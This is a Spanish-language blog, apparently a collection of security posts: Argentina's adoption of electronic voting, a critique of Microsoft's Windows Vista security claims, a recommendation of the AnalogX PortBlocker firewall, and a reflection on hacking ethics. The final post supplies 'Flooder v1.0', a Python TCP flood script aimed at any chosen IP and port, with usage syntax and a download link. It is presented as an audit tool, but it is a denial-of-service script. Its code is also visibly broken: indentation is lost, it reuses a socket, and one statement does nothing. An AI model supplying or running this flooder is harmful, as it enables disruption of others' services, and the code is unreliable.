Del cartón a la máquina...

El gobierno argentino, ha decidido dejar atrás el viejo rito de colocar el voto en una urna de cartón, para pasar a implementar la novedosa (por lo menos en Argentina) tecnología de urnas electronicas, conocida en U.S.A, Canadá, España, entro otros.
Según el estado argentino, el voto electronico es una útil herrramienta a la hora de llever a cabo el sufragio, ya sea nacional, provincial, o municipal, aumentando la velocidad de obtención de los datos y pudiendo brindar datos oficiales a las pocas horas de cerrarse las urnas.
Así mismo, el gobierno justificó su proceso de modernizacion del sistema de votación, con un informe ofrecido por la página oficial del proyecto (www.votoelectronico.gba.gov.ar), en el que destacan la gran eficiencia de los sistemas votación, tanto en Latino América, como así también en el contexto internacional. Lo mas interesante del informe quizas, sea lo breve que tratan el tema desde la perspectiva de la seguridad, solo señalando que en Inglaterra no se aplicó del todo desde un principio por cuestiones de inseguridad en los sistemas:
"Este tipo de tecnología es muy debatida en cuanto a su confiabilidad en una elección democrática y, por tanto, es mayormente aplicada con fines no oficiales. Sin embargo, ya en las elecciones de 2001 se realizaron varias pruebas piloto en Londres y se estima que a partir del año 2006 se extenderá su aplicación."
Lo irónico, es que la empresa que gestionó este proyecto en Inglaterra, fue la misma de España, donde dichos medios de votación fueron "manipulados" de manera ilegitima. En Argentina, la compañía privada (con capitales accionistas de la provincia Rio Negro) que en principio se encargaría de este tema, es ALTEC (Alta Tecnologia Sociedad del Estado), cuyas referencias son escasas en el campo, por lo cual será cuestión de esperar a ver como evoluciona el tema...

Windows Vista

Estaba leyendo una página española sobre seguridad informática y como de costumbre, los artículos de Windows Vista de Microsoft estaban en la primera plana. Di una leída rápida a todos hasta llegar a uno interesante, titulado "Microsoft afirma que Vista está resultando más seguro que Linux y MacOS" (el resaltado es mio) . No hace falta pensar mucho para darse cuenta que fue lo primero que dije... "están de broma!!". Pero no, para sorpresa de todos, Windows Vista, solo ha tenido un numero muy reducido número de vulnerabilidades, con variantes niveles de peligrosidad, en los primeros 6 meses después de su lanzamiento, contándose en total unas doce vulnerabilidades, número que por cierto es muy alentador en comparación contra las 36 de Windows XP y las 60 de MacOs (su siguiente competidor en el top del sistema mas seguro). Toda esta información, llegó a los medios de parte del director de estrategias de seguridad de Microsoft, Jeff Jones, por medio de su blog y un documento PDF de 14 páginas, donde no paran de comparar las vulnerabilidades de su nuevo sistemas en contraposición de algunos de los ya nombrados mas otros como Ubuntu, Suse, etc.

Si bien es interesante el hecho de que Microsoft se halla tomado mas en serio el tema de la seguridad, aun incluso por una cuestión de marketing, me parece que es una burla la importancia que le están dando al bajo número de vulnerabilidades encontrados hasta el momento. Vamos, estamos hablando de un sistema operativo cuyo precio es de $199 (solo en su versión mas económica) , nos están brindando un producto deficiente y "fallado" por un precio exageradamente alto, y que encima nos exige un equipo nuevo y costoso. Si a esto le sumamos, que las tecnologías novedosas no son mas que una falacia, como el hecho de que Vista no soporte mas núcleos que los de un Quad, creo que da bastante que hablar sobre la forma de actuar de Microsoft. Creo que M$ ha tomado como política de comercialización el lanzar sistemas operativos testeados por poco tiempo, y luego esperar a que las vulnerabilidades vayan apareciendo para irlas parchando. Esto, como política de software libre es excelente, pero por un producto pago me parece un insulto a los clientes.
Por otro lado, siguiendo dos de las leyes de la seguridad informática, mencionadas en uno artículo anteriores, "Todo sistema contiene bugs de sistemas" y "Los huecos de seguridad aparecen con el uso", nos dan a pensar que Microsoft está llevando una campaña mediática, incluso al punto de mentir en sus ventas, solo para tratar de ganar clientes. Siguiendo el razonamiento, ¿como es posible que en un sistema tan usado existan tan pocas vulnerabilidades?, ¿o a caso las ventas no son tan numerosas como se mencionaba?. La campaña mediática, es un hecho, solo debemos esperar que el negocio empeore un poco para que se haga mas notoria...



Consejo: AnalogX PortBlocker

A partir de ahora iré dejando pequeños consejos sobre aplicaciones que son útiles para aumentar la seguridad de nuestro sistema y de esta manera mejorar nuestro desempeño a la hora de hacer uso de internet, o simplemente para mantener segura nuestra computadora mientras realizamos cualquie tarea que requiera de una conexión.. Algunas aplicaciones serán mas provechosas, o de mas importancias que otras, pero intentaré abarcar todo, sobre todo aquel material orientado a Windows (debido a una mayor inseguridad en dicho sistema que en otros, como la familia de los *nix cuyo desenpeñoo en cuanto a seguridad es mucho mas eficiente).
Asi para empezar con este nuevo "mini proyecto" hablaremos brevemente sobre, el ya mencionado en el artículo anterior, AnalogX PortBlocker. En una definición sintética y directa, podemos decir que se trata de un firewall portatil. Firewall ya que a pesar de que no puede gestionar politícas de acceso (por lo menos no de manera configurable) si funciona cortando el tráfico en casos de accesos no autorizados. y portatil por que su tamaño es muy reducido, y cuando digo muy reducido hablo de 229 kb de desarga, ocupando 718 kb en disco una vez instalado. Si bien no vamos a decir que es la mejor opción, como complemento de la seguridad (acompañando a un firewall de mayores prestaciones) , o simplemente como firewall principal en caso de que no tengamos un uso muy exigente en cuanto a seguridad, se trata de un exelente cortafuegos, con una perfecta relacion precio-calidad-espacio (no cuesta nada ya que es gratuito y funciona exelentemente teniento en cuenta el espacio que necesita). Por cierto el programa lo podemos descargar de www.analogx.com!. Espero les sea de utilidad!!.

Flooding y Auditoría

Hace un tiempo, cuando recién comenzaba con la programación de sockets en python, dejé en un foro un código que se suponía que saturaba una dirección IP y un puerto de dicha dirección. El mismo nunca funcionó, y al poco tiempo desistí de corregirlo por una cuestión de tiempo (por aquel entonces recién me se perfilaba la idea de lo que ahora es el proyecto Spartan CP666Scanner -http://spartan.ale666.com/Index.html-).
Esta mañana, vi el código fuente y pensé, ¿que utilidad puede tener?. Aca debemos hacer un parantesis sobre algo personal mio. He dedicado mucho tiempo escribiendo acerca de la ética del hacking, de si es ético o no hacer públicos códigos fuente de flooder´s y DoS program´s, y de pronto me di cuenta que yo mismo no cumplía con mi propia ética. Así, se dio una suerte de replanteamiento en cuanto a lo que considero ético o no, y en que momento un script de este tipo pasa de ser ético, a no serlo. Así, siguiendo la filosofía de Joanna Rutkowska (y muchos otros), hacer programas que desmuestren la vulnerabilidad de los sistemas, y las malas medidas de seguridad, es algo muy aceptable, es mas, entra en el caracter de servicio para el administrador de dicho sistema (¿Que es preferible, que los errores los encuentre un auditor de seguridad o un entusiasta de la seguridad informática?, ¿o que en su defecto lo haga un criminal hacker?). Así, me parece totalmen ético realizar acciones que pongan de manifiesto la inseguridad dentro de los sistemas informáticos, como así también la eficiencia de las compañías que diseñan el software a la hora de corregir dichos errores, o fallas de de seguridad.
Así, partiendo desde esta nueva mirada ideológica, re hice aquel código que había abandonado tiempo atrás, e hice mi primer auditoría de seguridad con el mismo, comprobando tres cosas. La primera, la version no profesional del Zone Alarm, no sirve de nada. Su filtrado de conexiones se limita solo a ver si autorizamos, o no un programa, dejando a los mismos al libre "albedrío". La segunda, los sockets creados a partir de NetCat tienen mejor filtrado de paquetes que ZoneAlarm, cerrando el socket bajo ataque flooding al recibir 1139886 bytes (a todo esto ZoneAlarm ni enterado de lo que acontecía). Y la tercera, hay soluciones mucho mas efectivas a la hora de elegir la seguridad, que aquellas que nos ofrecen las grandes compañias de software. Sin ir mas lejos, el sencillo bloqueador de puertos "AnalogX PortBlocker" de AnalogX (www.analogx.com), que cerró la conexión sin dar paso a que se iniciara el ataque flooding. ¿Conclusión?, actualmente se cuenta con mejores herramientas no pagas (no en todos los casos), que las que pueden ofrecernos grandes gigantes como Symantec, Panda Labs, KasperSky, McAfee, etc, y deja en clara evidencia que las medidas de las compañías no siempre apuntan a solucionar el problema, si no a perpetuar el mercado.

Flooder v 1.0
A continuacion esta el codigo del auditor de capacidad de respuesta de una aplicacion, firewall (ya sea por software o hardware), o cualquier sistema de filtrado de conexiones ante un ataque de saturacion por paquetes inutiles -flooding atack-.
El código esta en python (hecho con la version 2.5) y dicho programa es necesario, ya que los scripts de python se corren de manera interpretrada a tra vez de la consola interactiva de dicho programa.
Para usarlo, no se necesita conocimientos avanzados, ni nada por el estilo. Solo hay que una dirección IP y puerto objetivo.
La sintaxis es Flooder(IP, PORT, ATQNUM) debe ser respetada si no su funcionamient se verá alterado, con probables errores. Así, deberemos introducir tres datos:

IP = La dirección IP objetivo a auditar. Ej: 127.0.0.1.
PORT = El puerto de la aplicacion que se va a auditar. Ej: 80.
ATQNUM = El numero de veces que vamos a mandar el paquete "basura". Ej: 1.000.000.

Otras cuestiones a tener en cuenta, son que este programa solo funciona sobre aplicaciones que corren bajo el protocolo TCP. Además no soporta varias direcciones, ni varios puertos, es decir el input o valor de entrada de la sintaxis solo admite una direccion IP y un puerto.

import socket
import sys

def Flooder(IP, PORT, ATQNUM):
obj = ATAQUE(IP, PORT, ATQNUM)
obj.flood()

class ATAQUE:
def __init__(self, datIP, datPORT, datNUMATQ):
self.IP = datIP
self.PORT = datPORT
self.NUMATQ = datNUMATQ
def flood(self):
socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
basura = ':@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@' * 9999
x = 1
IP = self.IP
try:
while x == 1:
for i in range(1, self.NUMATQ):
socket1.connect((IP, self.PORT))
socket1.send(basura)
if self.NUMATQ == i:
X+1
else:
pass
print "Ataque finalizado"
sys.exit()
except:
print "El puerto %i de la dirección IP:%s, ha sido floodeado" % (self.PORT, self.IP)
sys.exit


Nota: El código debe guardar en un archivo *.py abrilo en el IDLE (de ser posible), ejecutarlo y luego insertar en la consola interactiva la sintaxis. No se olviden de tabular correctamente el código. Si no, pueden descarse el archivo .py ya creado desde aca: http://www.ale666.com/Foro/index.php?action=dlattach;topic=1690.0;attach=598